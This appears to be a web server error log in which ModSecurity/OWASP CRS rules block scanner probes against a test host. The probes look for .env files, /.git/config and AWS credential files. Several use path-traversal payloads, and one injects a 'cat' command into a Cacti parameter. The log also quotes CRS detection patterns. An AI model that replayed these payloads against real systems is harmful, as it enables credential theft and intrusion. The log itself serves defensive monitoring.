[Tue Jun 03 15:53:46.801221 2025] [:error] [pid 3602599] [client 193.32.162.58:34222] [client 193.32.162.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aD7-ahFWFOHeQ4Yf0DZOhAAAAAg"]
[Tue Jun 03 15:53:47.570618 2025] [:error] [pid 3601618] [client 193.32.162.58:34232] [client 193.32.162.58] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aD7-a75N9fR7D5OgFojLzwAAAAA"]
[Tue Jun 03 15:53:47.571750 2025] [:error] [pid 3601618] [client 193.32.162.58:34232] [client 193.32.162.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aD7-a75N9fR7D5OgFojLzwAAAAA"]
[Tue Jun 03 15:53:47.571977 2025] [:error] [pid 3601618] [client 193.32.162.58:34232] [client 193.32.162.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aD7-a75N9fR7D5OgFojLzwAAAAA"]
[Tue Jun 03 15:53:48.175004 2025] [authz_core:error] [pid 3601633] [client 193.32.162.58:34238] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Tue Jun 03 15:53:48.950189 2025] [:error] [pid 3602600] [client 193.32.162.58:34240] [client 193.32.162.58] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aD7-bAAAxZ8fdINKoJCWbAAAAAk"]
[Tue Jun 03 15:53:48.950460 2025] [:error] [pid 3602600] [client 193.32.162.58:34240] [client 193.32.162.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aD7-bAAAxZ8fdINKoJCWbAAAAAk"]
[Tue Jun 03 15:53:48.950651 2025] [:error] [pid 3602600] [client 193.32.162.58:34240] [client 193.32.162.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aD7-bAAAxZ8fdINKoJCWbAAAAAk"]
[Tue Jun 03 15:53:52.978895 2025] [:error] [pid 3601620] [client 193.32.162.58:34300] [client 193.32.162.58] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aD7-cPrO8TeXtHdh57EMdAAAAAI"]
[Tue Jun 03 15:53:52.979156 2025] [:error] [pid 3601620] [client 193.32.162.58:34300] [client 193.32.162.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aD7-cPrO8TeXtHdh57EMdAAAAAI"]
[Tue Jun 03 15:53:52.979340 2025] [:error] [pid 3601620] [client 193.32.162.58:34300] [client 193.32.162.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aD7-cPrO8TeXtHdh57EMdAAAAAI"]
[Tue Jun 03 15:53:53.723805 2025] [:error] [pid 3602598] [client 193.32.162.58:34306] [client 193.32.162.58] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aD7-cZQC8lZai1z9iiDxRwAAAAc"]
[Tue Jun 03 15:53:53.724060 2025] [:error] [pid 3602598] [client 193.32.162.58:34306] [client 193.32.162.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aD7-cZQC8lZai1z9iiDxRwAAAAc"]
[Tue Jun 03 15:53:53.724244 2025] [:error] [pid 3602598] [client 193.32.162.58:34306] [client 193.32.162.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aD7-cZQC8lZai1z9iiDxRwAAAAc"]
[Tue Jun 03 15:53:54.697323 2025] [:error] [pid 3602599] [client 193.32.162.58:34322] [client 193.32.162.58] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aD7-chFWFOHeQ4Yf0DZOhQAAAAg"]
[Tue Jun 03 15:53:54.697569 2025] [:error] [pid 3602599] [client 193.32.162.58:34322] [client 193.32.162.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aD7-chFWFOHeQ4Yf0DZOhQAAAAg"]
[Tue Jun 03 15:53:54.697765 2025] [:error] [pid 3602599] [client 193.32.162.58:34322] [client 193.32.162.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aD7-chFWFOHeQ4Yf0DZOhQAAAAg"]
[Sat Jun 07 04:24:39.529242 2025] [:error] [pid 3688254] [client 93.123.109.7:33404] [client 93.123.109.7] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aEOi5511M0k3qkbFlHbjrwAAAAQ"]
[Sat Jun 07 04:24:39.533322 2025] [:error] [pid 3688254] [client 93.123.109.7:33404] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aEOi5511M0k3qkbFlHbjrwAAAAQ"]
[Sat Jun 07 04:24:39.533605 2025] [:error] [pid 3688254] [client 93.123.109.7:33404] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aEOi5511M0k3qkbFlHbjrwAAAAQ"]
[Sun Jun 08 02:26:03.091045 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "46"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /pms?module=logging&file_name=../../../../../../~/.aws/credentials&number_of_lines=10000"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/pms"] [unique_id "aETYmy591hUXPIOf0I8tYgAAAAs"]
[Sun Jun 08 02:26:03.091112 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /pms?module=logging&file_name=../../../../../../~/.aws/credentials&number_of_lines=10000"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/pms"] [unique_id "aETYmy591hUXPIOf0I8tYgAAAAs"]
[Sun Jun 08 02:26:03.091171 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /pms?module=logging&file_name=../../../../../../~/.aws/credentials&number_of_lines=10000"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/pms"] [unique_id "aETYmy591hUXPIOf0I8tYgAAAAs"]
[Sun Jun 08 02:26:03.091788 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/pms"] [unique_id "aETYmy591hUXPIOf0I8tYgAAAAs"]
[Sun Jun 08 02:26:03.091970 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/pms"] [unique_id "aETYmy591hUXPIOf0I8tYgAAAAs"]
[Sun Jun 08 02:26:11.753678 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "46"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /cacti/cmd_realtime.php?action=polldata&host_id=1&local_data_id=1;cat%20../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cacti/cmd_realtime.php"] [unique_id "aETYoy591hUXPIOf0I8tZgAAAAs"]
[Sun Jun 08 02:26:11.753750 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /cacti/cmd_realtime.php?action=polldata&host_id=1&local_data_id=1;cat%20../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cacti/cmd_realtime.php"] [unique_id "aETYoy591hUXPIOf0I8tZgAAAAs"]
[Sun Jun 08 02:26:11.753793 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /cacti/cmd_realtime.php?action=polldata&host_id=1&local_data_id=1;cat ../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cacti/cmd_realtime.php"] [unique_id "aETYoy591hUXPIOf0I8tZgAAAAs"]
[Sun Jun 08 02:26:11.753829 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /cacti/cmd_realtime.php?action=polldata&host_id=1&local_data_id=1 cat ../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cacti/cmd_realtime.php"] [unique_id "aETYoy591hUXPIOf0I8tZgAAAAs"]
[Sun Jun 08 02:26:11.753967 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:local_data_id. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;cat ../../../../../../../root/.aws/credentials found within ARGS:local_data_id: 1;cat ../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cacti/cmd_realtime.php"] [unique_id "aETYoy591hUXPIOf0I8tZgAAAAs"]
[Sun Jun 08 02:26:11.754553 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 25)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cacti/cmd_realtime.php"] [unique_id "aETYoy591hUXPIOf0I8tZgAAAAs"]
[Sun Jun 08 02:26:11.754844 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 25, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cacti/cmd_realtime.php"] [unique_id "aETYoy591hUXPIOf0I8tZgAAAAs"]
[Sun Jun 08 02:26:12.474194 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/credentials"] [unique_id "aETYpC591hUXPIOf0I8tZwAAAAs"]
[Sun Jun 08 02:26:12.474427 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/credentials"] [unique_id "aETYpC591hUXPIOf0I8tZwAAAAs"]
[Sun Jun 08 02:26:12.474601 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/credentials"] [unique_id "aETYpC591hUXPIOf0I8tZwAAAAs"]
[Sun Jun 08 02:26:13.118714 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "46"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /index.php?option=com_media&view=mediaList&tmpl=component&fieldid=filename&folder=../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/index.php"] [unique_id "aETYpS591hUXPIOf0I8taAAAAAs"]
